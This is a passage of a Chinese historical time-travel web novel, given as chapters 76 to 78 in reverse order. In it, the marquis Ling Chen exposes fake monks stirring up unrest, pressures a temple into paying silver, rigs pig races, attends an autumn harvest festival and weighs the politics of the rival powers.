自己要是劝着吕齐坚持正义,和家族闹翻,同样是好心干坏事。每个人在乎的东西不一样,真要拿他当兄弟,就该尊重他的选择。 “算了,不提这些糟心事,今日你我兄弟重聚,定要一醉方休!” 凌晨豪爽的端起酒杯,吕齐听罢后也恢复了笑容,二人相互碰杯,一饮而尽。 捞了一筷子蒸鱼后,凌晨将刺吐到桌上,边嚼边问道:“对了兄弟,你一向消息灵通,哥哥跟你打听个事,你认识的人里有没有那种擅长画工的?最好是有很多闲时间,人还能掌事。” 吕齐握着筷子的手一顿,绞尽脑汁的思索了半天后,摇了摇头。 “小弟认识的人里,倒是有会画画的,但他们都忙于人情往来,结交朝廷官员以求引荐,期望某个一官半职。有空闲时间的,都是些浪荡不羁的人,哪里能静下心钻研墨笔丹青。” “唉~好吧。” 凌晨无奈的叹了口气,自己的要求在这个时代确实有些过分了,习得文武艺,卖与帝王家,这是常识。 哪怕放在他所处的时代,谁会闲的没事去把赚来的钱拿去投资一个不认识年轻人啊?还什么手机啊小米之类的,胡言乱语,一听就是骗子。 见凌晨略微有些惆怅,原本以为他就是随口一提的吕齐这才认真起来,放下筷子说道:“哥哥,你寻这样的人做什么?” “噢,我最近想做点小事,但是急缺擅长人物画、同时还具备掌事能力的人才。不瞒你说,我为这事忙活了都快半个月,还是一无所获。” 腮帮子轻微咀嚼的吕齐犹豫了一下,迟疑的说道:“若是哥哥果真需要,小弟……倒是可以帮帮忙。” “嗯?”凌晨嚼断一根腌萝卜后,不解的看向吕齐:“你不是说没有这样的人吗?” “认识的人里面确实没有能够满足条件的,但……小弟也略懂一些画工,若是哥哥为此困扰,小弟愿意为哥哥分忧。” 凌晨愣愣的望了望吕齐,一时间哑然失笑。 “好!不愧是我兄弟,够义气!” 吕齐不好意思的嘿嘿一笑,随即脸色好奇的问道:“对了哥哥,具体需要小弟怎么做?” 凌晨望着他,爽朗一笑—— “咱们就先从活字印刷开始吧~” 第78章 蚕食 树欲静而风不止,在这个世界上,让人难以理解的坏蛋是层出不穷的,这帮家伙为了自己的利益去损害他人时是乐此不疲的,而最可恨的就是那些费劲巴拉的祸害他人、专爱损人不利己的家伙。 玩荣都有用渣土车埋基站的变态,玩突变有堵着不让别人上高点的牲口,哪怕你去玩个MC,都有一进房间就闷头丢TNT的脑残。 更何况,你还想坐拥天下? 想都别想!来,给他整个活! 中原境内新冒出了许多奇怪的民间教派,不停的向老百姓免费发鸡蛋,要求只有一个,就是必须大骂两句“文训是个王八蛋”。 这听起来像个笑话,但却是一道不可忽视的声音。老百姓们不懂时局政治,许多人甚至都不知道文训是谁,大家领完鸡蛋坐在一起闲聊时,会讨论为什么文训是个王八蛋。 如果十里八乡都这么聊,性质就变了,生活不如意就去怪文训、儿子娶不上媳妇也要怪文训,庄稼地里的野草长的太盛,那肯定是文训半夜偷偷去浇的粪。 而这种看似毛用没有的现象背后,唐国、蜀国、韩珏、孙芝、夏国的影子随处可见。 他们不想看到一个富庶强大的中原,这么做还可以理解,最让人难以理解的是江淮士族这种既得利益者里,也有人这么干。 更让人难以理解的是普通百姓里有些闲人为了吹牛逼、获得别人的关注,在没有任何好处的情况下,也跟着这么干。 好像宣传这种舆论,就能掌握信息,高人一等似的。 众所周知,一旦有人想要控制舆论导向,尤其是这种具有明显颠覆性动机的,一般都是要搞事情了。 让凌晨担忧的,是文家的未来。他们家的位置能不能坐稳,直接关系到中原百姓的安宁和稳定。 历史上凡是结束了乱世的王朝,或多或少都会出点幺蛾子。 秦结束了春秋战国,二世而亡;隋结束了南北朝,二世而亡;晋结束了汉末三国,八王之乱;明结束了元末乱世,奉天靖难。 这里面有着许许多多的复杂原因,每个王朝的深层矛盾各有不同,但总结起来就是一句话:众口难调,大锅饭不好做。 有些人吃着不满意,会画个圈圈咒厨子,有些人吃着口味不合,那是要掀桌子的。 而还没有统一天下的文训就已经迎来了严峻挑战,在平衡各方利益的时候,触犯了一些人的利益,这个时候就全靠他的个人威望和手下兵马去压制了。 这是个大问题,亟待解决。 临颍县也有这样的情况发生,一些游方僧人、化缘尼姑毫无边界感的来的老百姓家门口,向他们宣传浮世皆苦,你眼下的糟糕境遇都是姓名里带“文武”两个字的人造成的,只有信我主,才能得永生。 什么?你不信佛? 稍等,贫僧去换套真君制服再来,不用担心,假发跟拂尘都是配套的。 这么低劣的骗术和煽动性话语,还不如吕齐的一番演讲慷慨激昂,但架不住傻鸟多啊!还真有人信,而且信的人还不少。 “阿弥陀佛,施主,贫僧是如意佛的使者,受命派来解救你的业障。” 望云镇的酒楼门口,凌晨双手叉腰,抿嘴望着眼前的和尚,很想让刘文越好好招待一下这个孽障。但为了知己知彼,弄清楚事情的原委,再顺藤摸瓜找到幕后主使,他还是忍下来了。 “大师,我最近仕途不畅,刚被人排挤下野,你看有什么办法解救吗?” 和尚听到凌晨这么说后,眼前一亮,这还是个优质种子啊~ “官宦场上,多的是尔虞我诈,亲交朋党,施主年纪轻轻,定然是不屑与宵小为伍,才被众恶所不容。” 凌晨小鸡啄米似的点着头说道:“对啊对啊!大师你真厉害,这都能预见!那你快说说,我该怎么办才能官复原职,更进一步?” 和尚闭着一只眼,另一只眼睛瞄了一眼凌晨,高深莫测的双手合十说道:“必须诚心侍奉如意佛,方可解难。” “那么,该如何侍奉呢?” “施主可以先先布施一些香火,日后自有论调~” 凌晨二话不说就从怀里掏出十两银子恭恭敬敬的递给和尚,和尚先是神色一惊,随即很快便恢复平常,先行了一礼,这才慢悠悠的接过去。 “施主诚心,祈愿必能灵验,贫僧这就回寺诵念经文,为施主日夜祷告。还请稍安勿躁,静候佳音。” 热情的挥手目送着和尚离开后,凌晨脸上的笑容才冷了下来。 一旁的白千不解的开口问道:“这人招摇撞骗,师父为什么不让刘县尉拿了他?反而还要送他银两?” 凌晨冷笑着说道:“给他又如何?也不事先打听打听,我的钱是那么好拿的?” —— 过了几天,上次那和尚带着一堆光头来到了望云镇上,四处打听凌晨家住在哪里。所有人都用异样的目光注视着这群人,最终齐齐伸手指向麦场旁边的护庄队院。 “哎,广能,那位施主真的布施了五两银子啊?” 前往麦场的路上,有随行和尚忍不住开口发问。他还是觉得有些难以置信,这世上真有这种人傻钱多的笨蛋?他这个智商是怎么赚到这么多钱的? 广能和尚对同伴的质疑深感冒犯,皱着眉说道:“那是自然,那五两银子我已经全部交给法会了,出家人不打诳语。” “……好吧。” 来到麦场上后,这一行七八个僧人,齐齐来到护庄队驻扎的院门前。广能和尚向身边的一个大和尚行了个礼后,走上台阶,握住门环重重叩了两下。 “吱呀~” 大门打开了,一个护庄队员探出脑袋看了他们一眼,皱着眉头脸色不喜的问道:“找谁?” 广能和尚立刻上前说道:“阿弥陀佛~施主,我们是纪县未来寺的僧人,前些日子与凌施主有约,不知他是否住在这里?” 护庄队员闻言后,露出一丝和善的笑容:“原来是大师,我家主人自从与大师上次一别后,便一直挂念着您,快请进屋用茶。” 广能这才放下心来,得意的回头看了一眼师兄弟们,抬脚走进了院子里。 他身后的僧人们也露出喜色,纷纷跟着一起进到了院中。那位大和尚更是心中窃喜,有钱、还好客,也不枉他背着寺院跑出来挣外快。 直到大门合上后,僧人们这才感觉不对劲,有些发懵。 这位凌施主是干什么的? 院子里到处摆着长枪刀剑,还有劲弩弯弓,这里的每一件东西,都是足以牢底坐穿的物件。 “队长,侯爷的客人到了~” 侯……侯爷?? —— “啊——!!” “别打了!我不是出家人!我跟他们不是一伙的!” “小僧真的是出家人,施主饶恕则个……啊!!” 两个护庄队员轻松的放倒了这几个和尚,对他们拳打脚踢,打的口鼻流血、腿瘸脸肿,根本不用开口问,几拳下去全都招了。 “法会?你们这个法会谁是主事的?” 凌晨蹲在地上,看着抱成一团的光头们,打了个哈欠。 被特殊照顾的广能大师鼻青脸肿的四脚并作,跪着爬到凌晨面前,带着哭腔跟抖筛子一样全都抖了出来。 负责这个什么如意佛临颍分部的也不是陌生人,正是上次阻挠里阳镇通曲桥修建的梁宽梁大官人。 很难想象他那样的人也能跟佛扯上关系。 自从几年前硬刚冯延被教育了之后,梁大官人就老实了,近些年也没再玩抽象。但这次不知道为什么,不仅参与了这种邪教组织,还混成了小领导。 上次他虽然没能独吞里阳镇新发展的福利,但也是乘风而起,生活水平比以往不知提高了多少,这次又抽的哪门子风? 思索了一阵后,凌晨又笑着看向这群人里唯一有度牒的那个真和尚。 “你真是未来寺的?” 被提问到的大和尚浑身一抖,连忙答道:“回……回侯爷,小僧确实是未来寺的在牒僧侣,不……不敢有丝毫隐瞒。” 有点意思~ 将其他人冒牌货都丢给崔赦,让他去处理后,凌晨将这位叫觉引的在编人员留了下来,派人去纪县请度厄大师,点明了要他亲自过来。 夜里,度厄大师风尘仆仆的赶到了望云镇。 这件事可大可小,往小了说,叫招摇撞骗,败坏佛门清誉。 往大了说,是蛊惑人心,蓄意谋反。 你寺院里僧人干这种事,你知不知道?其实你知不知道也不重要,我认为你知道,这就够了。 文训的和蔼是分人的,对于数次搭救自己的凌晨,他当然觉得亲近。可面对一群压根不认识的和尚,他跟其他节度使没有区别,毁寺灭佛不过就是一个念头的事。 “大师,又见面了。” 凌晨亲自走到院子里迎接一身朴素的度厄大师,老和尚虽然内心苦不堪言,但还是挂着淡淡的笑容向凌晨行礼。 “阔别许久,侯爷风采依旧。” 双方行礼见罢,凌晨将度厄邀至中堂,屏退左右后,兴冲冲的搬来围棋桌子,掏出棋匣就要和他再下一盘。 输赢不重要,他就是想看看,这老家伙还敢不敢跟自己耍无赖。 怎么说也是未来寺的镇宗长老,几十年的经文不是白念的,度厄并没有表现出慌张,棋路也没有丝毫要谦让退守的意思,房间里静谧的只剩下落子声,灯花摇曳。 三局两胜,终究还是凌晨技高一筹,度厄大师这次老实了,没有再将大局逆转。 “大师请~” 客气了一句后,凌晨自己端着茶杯喝了起来,度厄单手唱念谢过后,并没有喝茶,而是一直转着手中的念珠。 “大师,你们寺院的收成怎么样?一年进项几何?” “阿弥陀佛~~侯爷是知道的,老僧久居偏院,自耕自种,一向不问寺庙产业。” 凌晨叹着气说道:“唉!好吧,那我就只能让纪县知县和县尉去寺庙里询问住持了。” 沉默了半晌后,度厄望着凌晨语气真诚的说道:“觉引确实有罪,但他也是被人蛊惑,绝对没有想要……” “大师,咱们都是明白人,就不要打你的哑谜了。这些年你们未来寺侵吞百姓田产、放驴打滚的事我就不说了。如今蛊惑人心被捉个正着,你还想全身而退啊?” “侯爷是想借此机会勒索鄙寺吗?对出家人这么做,怕是不太好。” 凌晨看着丝毫不打算退让的度厄,呵呵笑道:“大师,我知道你为人坦坦荡荡,自然不惧流言蜚语,可你能保证寺里的僧人都是干净的吗?屋子里明目张胆的出现了老鼠,就说明在你看不见的地方,已经有一窝了。” 度厄轻吐了一口气后,不卑不亢的问道:“那侯爷想要如何解决?” “这简单,”凌晨将衣袖理顺后,胳膊肘在桌子上笑道:“贵寺的觉引师父伙同那些假僧人,前些日子要我向什么如意佛布施了五百两银子,我希望未来寺能还给我。” 度厄大师多年的养气功夫差点当场破功,他捏着手中的念珠,艰难的说道: “侯爷,鄙寺虽说香火旺盛,但极不稳定。百十号僧侣日常要吃用,来寺的香客要招待,还要留用做佛事的。这么多银两着实很难凑齐。” “我原以为大师是得道高僧,没想到竟然也为金银所累,佛门的戒律清规,看来也不过是夸夸之谈。” 凌晨站起身来,毫不客气的对度厄说道:“有错就要认,挨打要立正。现银不够,就去卖地卖产。大师,这可是友情价,是我看在咱们的交情上大事化小的。此事要是捅到开封府衙,就不是银子能解决的了。” 度厄一向古井无波的脸上,终于浮现一丝凝重。考虑良久后,他重重的叹了一口气,起身向凌晨行礼道: “老僧这就回去与寺内相商,半月内……” “三天,”凌晨伸出手指说道:“我只给大师三天时间,三天后见不到五百两银子,未来寺的基业,大师和众位高僧的道行,就毁了。” “老僧明白了。” 度厄匆匆赶来,又匆匆离去。 凌晨不缺那点银子,只是想让这群和尚认清楚自己的身份,收敛收敛。不管他们有没有参与那个什么如意佛的阴谋,都要给他们、给其他各路牛鬼蛇神提个醒,人要学会为自己的行为负责。 不要说什么都是底下人干的,你不知道这回事,失察也是一种罪。 处理和警告他们只是权宜之计,真正要治根,防患于未然,还得动用舆论的力量。 在信息闭塞的封建社会,要控制舆论,简直不要太简单。 想着想着,凌晨拿起剪刀,剪断了台上的烛花。 第77章 大人英明 望云游乐场,人声鼎沸。 看台上站满了从全国各地慕名而来的游客,他们或激动、或紧张、或恼怒、或狂喜的望着场中央的栏杆,尖叫声一浪盖过一浪,气氛异常热烈。 “冲啊!超了它!超了它!” “哎呦!看的我真想上去抽它两鞭子!” “娘的,壬号今天怎么了?主办方没喂食吗?咋状态这么差??” 凌晨也在贵宾席上扶住栏杆、挥舞着拳头跳着呐喊助威:“跑啊!跑!快呀,就差一点了,哎呀!!” 输赢定分晓后,凌晨勃然大怒!一拳砸在木头栏杆上,扭头就对白千喊道: “去,把张五三家的精粮补贴给我削一半!这狗日的肯定又克扣‘波刚’的伙食费给自己换酒喝了!” 气呼呼的坐回座位上后,凌晨余怒未消,一旁穿着便服的崔赦无奈的劝道:“凌兄,比赛本就有输有赢,何故迁怒旁人?” 凌晨猛灌了一口凉茶后,摆手阻止崔赦的继续开口,脸色很不好的说道: “你不知道,‘波刚’是纯种会稽猪和野山猪杂交来的,速度和耐力都没得说。更何况比赛前我已经暗中吩咐过了,把其他赛道的猪都饿了一晚,没道理跑不过。” 崔赦:“……” 场上的黑毛猪、白皮猪都已经被伙计赶下去了,下一场是乌龟,凌晨对这种不能暗箱操作的物种毫无兴趣,于是跟崔赦聊起了家常。 “你老家怎么样了?” “就那样,朝廷宽恕了被迫追随反贼应开疆的大部分东昌望族,我们家也在其中。” 凌晨拿起盘子里的一颗梨,一边啃一边调侃道:“那你的地位不是在家族里直线上升?未来京城治下的一县主政,回到家里不得跟族老一桌?能让他们向你敬酒吗?” 崔赦哈哈大笑:“你这人净说疯话,在外作的再大官,回去也得按辈分排,哪里能让族老敬酒?一桌用食倒是有可能。” “切~” 崔赦吃了一口桃酥饴后,优雅的抿上一口温茶,这才继续扇着折扇说道:“过两天就要秋社了,你可记得要带上弟妹一同来县城里。” “好说,不过在这之前,你能不能先去我的养猪场看看,你要是觉得可以的话,拿县里库银支持一下屠宰场的建设,把那些散户屠夫都聚拢起来。到时候我们把肉价打下来,走薄利多销的路子。” 崔赦有些为难的说道:“拨银倒没什么,官库还是很充足的。可这是与民争利的事,肉价打下来,开肉铺的商户和屠夫们就挣得少了。” “啧~话不是这么说的,他们在屠宰场杀猪有县衙给工钱,打下来的肉价也变相的补贴回去了,甚至会比自己卖赚的更多。 百姓们也有了便宜猪肉吃,吃了肉有力气,种的粮食产出更多、生活好起来也有利于稳定。更何况县衙虽然赚的少,但蚊子再小也是肉,两全其美的事~” 崔赦思索着说道:“那得有很多猪源源不断的供应才能做到……” 凌晨站起来说道:“走,带你去看看我这些年的成果。” “啊?” 原本是来休沐放松身心的崔赦,就这样被凌晨拉着来到了望云镇下辖的村庄里,一进村就能闻到浓烈的猪屎味,熏的崔赦不停的扇着他的那把扇子。 从来就没有什么偶然,每一次偶然的背后都是精心谋划。 村里的养猪户早已经在列队欢迎了,崔赦反应过来后,指着凌晨连骂他不厚道。凌晨哪管那些,把人骗来就行。 “呐,这个就是我亲手授精培育出来的新品种,我称之为临颍猪,一胎最少能生十六个。而且和以往不同,我把养殖户们都培训了一遍,接生、抢救都学会了,幼崽基本都能存活。” 在一户人家的猪圈前,凌晨和崔赦立在最前方考察,身后是白千和一众乡民,他们现在最难解决的就是销路问题。 崔赦盯着满栏跑的一堆猪崽问道:“多久能成肉?” “这些都是边放边喂的,祥符河里没人要的萍藻都被拉来这里废物利用了,有些还会喂薯芋什么的,快的话五个月,想再大点七八个月也成。” 崔赦点着头说道:“河里的萍藻一直是影响河运的难题,而且挖出来后也无处安放,凌兄这手点石成金确实高明。” 凌晨嘿嘿笑道:“也是偶然发现的,不足挂齿。” 崔赦又询问了定价、数量、是否会耽误正常耕收等等常规问题,得到了满意的答案后,他也觉得是个不错的提议。 人人都能吃上便宜猪肉,还能有许多人从中获益,还不亏钱,县衙里的确可以支持一下。 “哎,这猪粪要及时清理,存起来还能给庄稼施肥,别浪费了。” 崔赦随口说了一句提醒的话,这种事大家都知道,甚至在场的人里可能就他一个人不懂养猪的循环经济。可凌晨还是第一时间高举着双手“啪啪啪”的鼓起了掌,顺带还扭头朝着众人挤眉弄眼。 反应过来的乡亲们纷纷学着凌晨拍手鼓掌,对知县大人的指导方针和宝贵意见表示感谢。 崔赦愣了愣,扫视了一圈后,迟疑的指着猪栏说道:“猪崽要看护好,不能被大猪误伤了……” “好!” “啪啪啪啪~” 凌晨再次卖力的鼓起了掌,乡民们也再次响起了热烈的掌声。 崔赦微微皱眉,再次指着猪栏说道:“猪,要养在猪圈里……” “好!大人英明!说的太好了!” 凌晨闭着眼睛噼里啪啦的鼓起了掌,乡民们个个挂着笑脸,每一个都卖力的拍手,拍的巴掌都红了。 崔赦:“……” 如果你丫不是临颍侯,我一定打死你! —— 秋社,是古代农耕社会最重要的祭祀活动之一,上到知县和士绅贵族、下到里正和普通村民,都要把人们组织起来,摆祭坛、告祝词、庆丰收。 还有一种春耕后盼丰收的,叫春社。 提起“箫鼓追随春社近,衣冠简朴古风存”,可能知道的人并不多,但要是说起“山重水复疑无路,柳暗花明又一村”,听过的人一定不少。 凌晨也带着青柠和小云来参加县城里的秋社了,作为临颍县有头有脸的人物,尤其他还在名义上食邑本县,这种重要活动自然不能缺席。 举办秋社的场地不在城内,而是在城外的张家庄,每年都会在县城附近的村庄轮换举办,这里也是张承出生长大的地方。 凹凸不平的土路旁,茂密的草丛里开着不知名的野花,庄子里的麦场上挤满了虔诚的信徒,县城里、庄子里最有名望的老人们站在社坛前焚香祷告,感谢土地神赐予人们粮食。 所有人都跟在几位老人身后,跪在地上整齐磕头,场面庄严肃穆。上到拄着拐杖的白发老人,下到嗦着手指的蹒跚幼童,都在感谢神灵庇佑,让这一年风调雨顺,收获颇丰。 之后的流程就是由崔赦、凌晨这样的实权人物和代表人物轮流敬香,代表官府为百姓祈福谢佑。社坛上摆着糕点、麦穗、猪、羊等贡品,被香炉里升起的袅袅青烟半遮熏透。 祭祀完毕后,麦场上的气氛立刻就活跃了起来。村头早就酿好的酒被庄户们从酒缸里舀了出来,分发给场上众人。 崔赦坐在搭起的凉棚里,与老人们笑谈年景,凌晨和青柠、小云坐在偏侧的凉棚里,吃着西瓜品尝浑酒。 近处,是乡野渔樵闲话。 远处,是竹篱茅舍人家。 打鼓队穿着表演的服装,按事先排练好的节奏进行,围坐在周围、倚靠在麦垛旁的村民们纷纷跟着节奏晃动双手,如果不是亲眼所见,凌晨还真不敢相信大周竟然也有这么时髦的应援方式。 他们的服装材质很一般,平时存放在祠堂或者地主家里,需要用的时候就拿出来穿。表演的村民们也有些腼腆和放不开,比起凌晨在开封欣赏过的楚馆飘袖差了太多。 但那股淳朴、鲜明的表达意愿和喜庆氛围,却是别的地方很难体会到的。 “咿~呀~” 铜锣响起,好戏开场。 板、二胡、镲、笙、铙钹等各种乐器混合成最早的古风交响乐,从县城里请来的戏班子在木头搭建的高台上依次登场,唱念做打。 村民们搬来自家小板凳或者随便抱来一块石头,乌泱泱的围在一起观看着平时接触不到的才子佳人、王侯将相,欣赏着他们的爱恨情仇,看的如痴如醉。 麦场的边缘处,围坐在一起摇骰子的汉子、互相抓着灌酒的村壮、嗑着瓜子闲聊的农妇、彼此推搡着偷看的姑娘、白发里插着黄花、已然醉倒的老叟,这是属于他们的MVP结算画面。 底层人民不知道王公贵族的生活是什么样子,更不懂他们的野心和雄图。一年的辛勤劳作有了回报,有酒喝,有戏看,不用担心饿肚子,就很满足了。 —— 中原几经战乱,终于到了休养生息、与民更始的时候。从基层一步步干到京兆尹的冯延非常了解普通民众的需求,上报了很多建议,全部都是恢复生产、蓄养民力的方案,文训大都采纳了。 邺城之战后,晋阳军精锐折损大半,没有个三五年时间很难恢复元气,酷爱收集双胞胎手办的孙芝短时间内翻不起什么大浪,除非他失了智。 至于三五年后…… 他要面对的,是民殷国富,人心归附、兵强马壮的中原。 韩珏也很难和文训争天下,不过不是因为实力,而是运气。 夏国苦寒,唯一能倚仗的只有塞上江南和东西两套地区。国内成分复杂,草原人、西域人、中原人杂居在一起,矛盾重重。 无论是为了转移矛盾还是想要更上一层楼,进攻肥沃富庶的关中平原都是历代夏皇的不二之选。 有夏国在那不停的消耗,此消彼长之下,韩珏很难积蓄到足够的力量东出潼关,除非他能像秦朝对付义渠那样先彻底打垮夏国。 而且韩登回去之后,关陇集团内部怕是会有一场不小的地震。 为了家乡父老的利益前往邺城为质的韩登,政治声望绝对是继承人的最佳选择,更何况他还是长子。可是这些年来,一直在韩珏身边帮忙打理政务和军务的却是他弟弟。 关中四府的治所在长安,长安城里有一个非常有名的地方,叫玄武门。 视线转向南边,年轻气盛的孟玄在初露锋芒之后,取得了不小的成绩,无论是声望还是实力都得到了很大的增强,确实拥有了与天下争衡的可能。 但也止步于此了。 他的东向战略严重威胁到了唐国的根本利益和国土安全,认真起来的李雄派遣国中能征善战的猛将劲卒,在江汉平原和蜀军展开多次拉锯战,荆南、岭南皆有战事,双方打得不可开交。 久攻不下后,国力上的差距逐渐显现出来,孟玄不得不放弃继续进占江夏和长沙的战略意图。但已经得到的地盘,他绝不可能拱手相让。 一旦退回蜀地,他的威望将会受到前所未有的挑战,耗钱耗粮耗人,到最后竹篮打水一场空,这是臣属们无论如何都接受不了的。 而李雄铁了心要把孟玄赶回西川,只有这样才能彻底绝了他的念头。而且从军事角度讲,如果把孟玄打回去,只需派遣一位稳重可靠的将领带兵驻扎夷陵,把守住出川的咽喉,就能锁死蜀军。 没有了后顾之忧,他才能放开手脚和文训开打。 文训自然不会坐视这种事情发生,他通过和江陵接壤的襄阳府,时不时的给孟玄带去来自长辈的关怀,给他递刀递剑,鼓励他保持初心,撸起袖子加油干。 打吧~打吧~ 打的越烈越好~ 没有比眼下更好的局面了,四周的国家全部都处于战争状态或者虚弱时期,没有时间、也没有力量攻击中原。而中原地区已经完成了实际上的统一,境内人心思定,局势稳固,国力蒸蒸日上。 如果不出意外的话,照这个趋势发展下去,统一天下只是时间问题。 第76章 名师出高徒 如今的大周,有一种极具割裂美的颠感。 曾经破碎的中原终于结束了战乱,再次被统一,可大周的皇帝却旅居晋阳,迟迟没有回到公司总部。 曾经的六大节度使,如今也只剩下四个:如日中天的文训,绵软无力的孙芝,独霸一方的韩珏,被人遗忘的申屠明光。 在老百姓眼里,大周还是那个大周。可在明眼人眼里,都知道要变天了。 文训在开封营新都的基建工程,深深刺激到了孙芝敏感的神经。洛阳府尹贾建更是汗流浃背,夜深人静时也时常捂着被子偷偷抹泪,咬着下嘴唇不停的拍床板。 如果赵世中进攻开封那会儿,自己果断一点,直接挥师东进拿下颍川府,可能就没有今天的一堆破事了。 可惜没有如果,现在颍川府升级为开封府,老对头冯延变成了开封府尹,麻烦大了。 十万大军屯驻在距离洛阳不到四百里的地方,骑兵跑快点两天就能到他家,这跟自家楼下搬来一个变态杀人魔没有区别,对方随时可以说你的脚气透过地板下的水泥熏到了他。 当今天下,最难过的人莫过于小周帝,公司快破产时成了法人,亡国之君的锦旗肯定是跑不掉的,还要天天受孙芝的气,连呼吸都不敢太大声。 最难受的当然是贾府尹,爬到虎牢关的城头向下一瞄,发现文训正在磨刀霍霍。缩回来后转身一看,韩珏站在潼关笑着朝自己挥手。 一旦他们找自己的麻烦,刚认的好大哥肯定不会替自己出头,他能保住自己的河东三府就已经烧高香了。 也不能重新换大哥,韩珏和文训就洛阳的归属问题达成了一致的意见,双方都同意将此地作为战略缓冲区,谁都不会贸然接纳他,以免引起新的冲突。 大家都需要一段平静的时间来发育。 统一中原后,文训对内紧锣密鼓的营建新都、迁移贵族、调兵换将、派遣官员、修订律法、安置流民、恢复生产。眼下就属他拳头最大,只能他说啥是啥。 对外就更有意思了,文训派使者前往草原和东北,先是慰问了高车和靺鞨两部,向他们的大汗传达了大周太尉的友好态度,还送去了一些中原特产,比如金银、布弓、匹矛、茶刀、叶剑、蔬菜什么的。 然后再跟他们聊聊家常—— 鬼方骑兵精锐在我们境内的黄河里游泳,因为不懂水性,不小心全都淹死了,真是可怜呐!他们的父母妻儿谁来照顾?他们的毡房牛羊谁来打理?唉! 突厥部的两万名健壮汉子被天杀的土匪绑走,不仅索要了赎金,最后还惨遭撕票!契丹部上万匹骏马在河北走丢了,我们多方查找还是没能替失主寻回,是我们无能啊!! 高车和靺鞨的可汗听到这些悲痛的消息后也是一阵唏嘘,拍着使者的肩膀安慰道,你放心,鬼方精骑的妻子我们会照顾的,汝勿虑也! 而且作为一同生活在草原上的部落,我们也有义务、有责任帮助困难的邻居,一定会向突厥和契丹伸出援手。只要人人献出一份爱,世界就会变得越来越美好! 稳定了北方边境的同时,文训也在和其他各方势力积极接洽。 夏国皇帝和蜀帝孟玄都派使者来到开封,向文训表达了恭贺之意和赞美之情,夸他是再造大周的大功臣,有他替周王室守着江山社稷,他们这些友邦觉得很放心。 唐皇李雄也派了使臣来到开封,受到了文训的隆重接待,派京兆尹冯延亲自作陪。 各方使臣都在极尽所能的渲染好处,陈明利弊,巧舌如簧的劝说文训,让他尽早迎请周帝还京。 不过,他们可不是出于好心想帮助周王室恢复宗庙社稷,而是想一石三鸟,让中原再次混乱起来。 迎周帝得跟孙芝接触吧?他不给,你能看着皇帝在他那里受苦?你不是说自己是大忠臣么? 如果他给,那三晋之地还能留着给孙芝养老吗?普天之下莫非王土好吧~ 迎回周帝后,你搞不搞禅让? 搞的话,名声威望大打折扣,说不定还会有人起兵勤王,再来一次屡试不爽的“清君侧”。 不搞? 那你猜猜,周帝想不想搞你? 反正宗旨就一条,要让中原乱起来,最不济也要找点事做,不能任由文训稳定的发展。不然等到三五年后,中原兵精粮足,那不炸了吗! 现在的文训,比大周以往的任何一位君王、任何一位权臣都要可怕!他不是用妥协换来各地世家大族的支持,而是彻底将他们的军事力量摧毁。现在整个中原唯一有能力给他造成麻烦的人,只有兼任青州、琅琊两地知府的王臣鹤。 而在临漳之战的关键时刻,此人率领军队镇守泗水,和文训之子文若一东一西,各自压住了蜀、唐两国,明显是文训的铁杆支持者。 一轮光芒耀眼的红日正在中原大地冉冉升起。 —— 凌晨已经彻底放手,除了开封城最中心的那两块地之外,他什么也没留,连先前住的宅子都还给了那位士绅,带着青柠和小云回到了临颍县望云镇的老宅。 他的爵位食邑四百户,这些文训会按收入计算成银两每年发给他,衣食无忧,早早离开为好。 如今的开封城正在日以继夜的搞大建设,空气不好,噪音也很大。而且全国各地的名门望族都在往开封搬家,人多眼杂,是非多的不得了。 还不如躲到乡下过两天清闲日子,等到新的京城彻底修好再回去,免得被冯延抓壮丁。 如今的临颍县早已今非昔比,县城、里阳、望云三地都是繁华富庶的集镇,县里的大家族和百姓子弟们都在外面挣到了军功和封赏,当然灰色收入和额外补贴肯定也不会少,全部都寄回了老家。 当初的望云镇,大部分人家都是茅草土屋,而现在却是青一色的砖瓦房,护庄队员们的家里更是修成了豪华大院。 穷在闹市无人问,富在深山有远亲。 刚一回来,崔赦和已经正式成为县尉的刘文越挨个登门拜访,请凌晨赴宴吃酒,张承的孙女及笈,也不能推辞,凌侯爷忙的跟个陀螺似的。 大暑时节,炎热的午后,凌晨光着膀子在家里的大槐树下,正在用一口陶锅煮着从乡亲们的厕所里刮来的硝粉。 以前他刷短视频的时候学习过怎么制冰,可惜看到一半就被大雷翘蜜臀拐走了,以致于现在就记得这么点,只能跟个无头苍蝇一样瞎摸索。 说实话,凌晨感觉自己是制不出来冰的,可又不想放弃,万一瞎猫碰到死耗子呢? “吱呀~” 听到院门开了,凌晨从脖子里揪下汗巾擦了擦额头上的汗水,回头一看,是白千和青樱。 上次去开封没有带青樱,而是把她留下来陪二婶,如今已经出落成大姑娘了,性子也比以前开朗很多,一进门就跑过来拉着凌晨的胳膊甜甜的喊“姐夫”。喊的凌晨老怀甚慰。 白千这小子也有一段时间没见到了,如今有了钱,给自己拾掇拾掇,模样还真不比韩登差。只不过不同于韩登的阳刚英武,他属于那种俊秀型的帅气。连凌晨也只是堪堪险胜。 “姐夫,你这是在煮什么呀?” 宠溺的摸了摸青樱的脑袋后,凌晨指着正在沸腾的陶锅说道:“这是姐夫刚从人家茅房里刮来的硝粉。” 青樱和白千闻言皆是脸色一变,眼神古怪的望着凌晨,茅房里的东西,煮在锅里? “哎,你们别想歪了,这不是屎,我也不是什么幕后煮屎人。这是硝粉,干净的,煮出来的东西能化水为冰。只不过我忘记步骤了,还在摸索。” 青樱和白千互相对视一眼,明显还是不能理解。 “去找你姐吧,她在屋里和你云姐姐写字呢,你们也是好久没见了。” 青樱望了一眼屋子里后,摇着头说道:“一会再去看姐姐,我这次来,主要是找姐夫的。” 嗯? 凌晨用勺子搅了搅沸汤后,疑惑的问道:“找我?二婶有什么事吗?” 青樱摇着头说道:“不是我娘,是我自己有事想央求姐夫。” “嗐~这傻孩子,跟姐夫还说什么央求,想要什么你就直说,姐夫啥都给你买。” 当凌晨说完这句话后,近在咫尺的青樱没有说话,反倒是一直站在旁边充当背景板的白千“噗通”一声就跪了下来。 他这操作把凌晨直接给整懵了,这是干嘛? “师父,徒弟想请您为我和樱儿说媒。” 轰隆—— 一道炸雷从凌晨的脑袋里响起,差点没让他两眼一黑晕过去,一个身形不稳,还好青樱眼疾手快扶住了他。 凌晨茫然的扭头看向青樱,青樱抿着小嘴眼巴巴的望着他,显然是已经和白千商量好了。 好啊~ 凌晨现在有点相信因果报因了,自己偷孙芝的金批令箭,偷应开疆的粮草大营,颠覆了天下,转头自家小姨子就被白千给偷了。 师父震惊天下,徒儿震惊师父。好一个青出于蓝而胜于蓝! 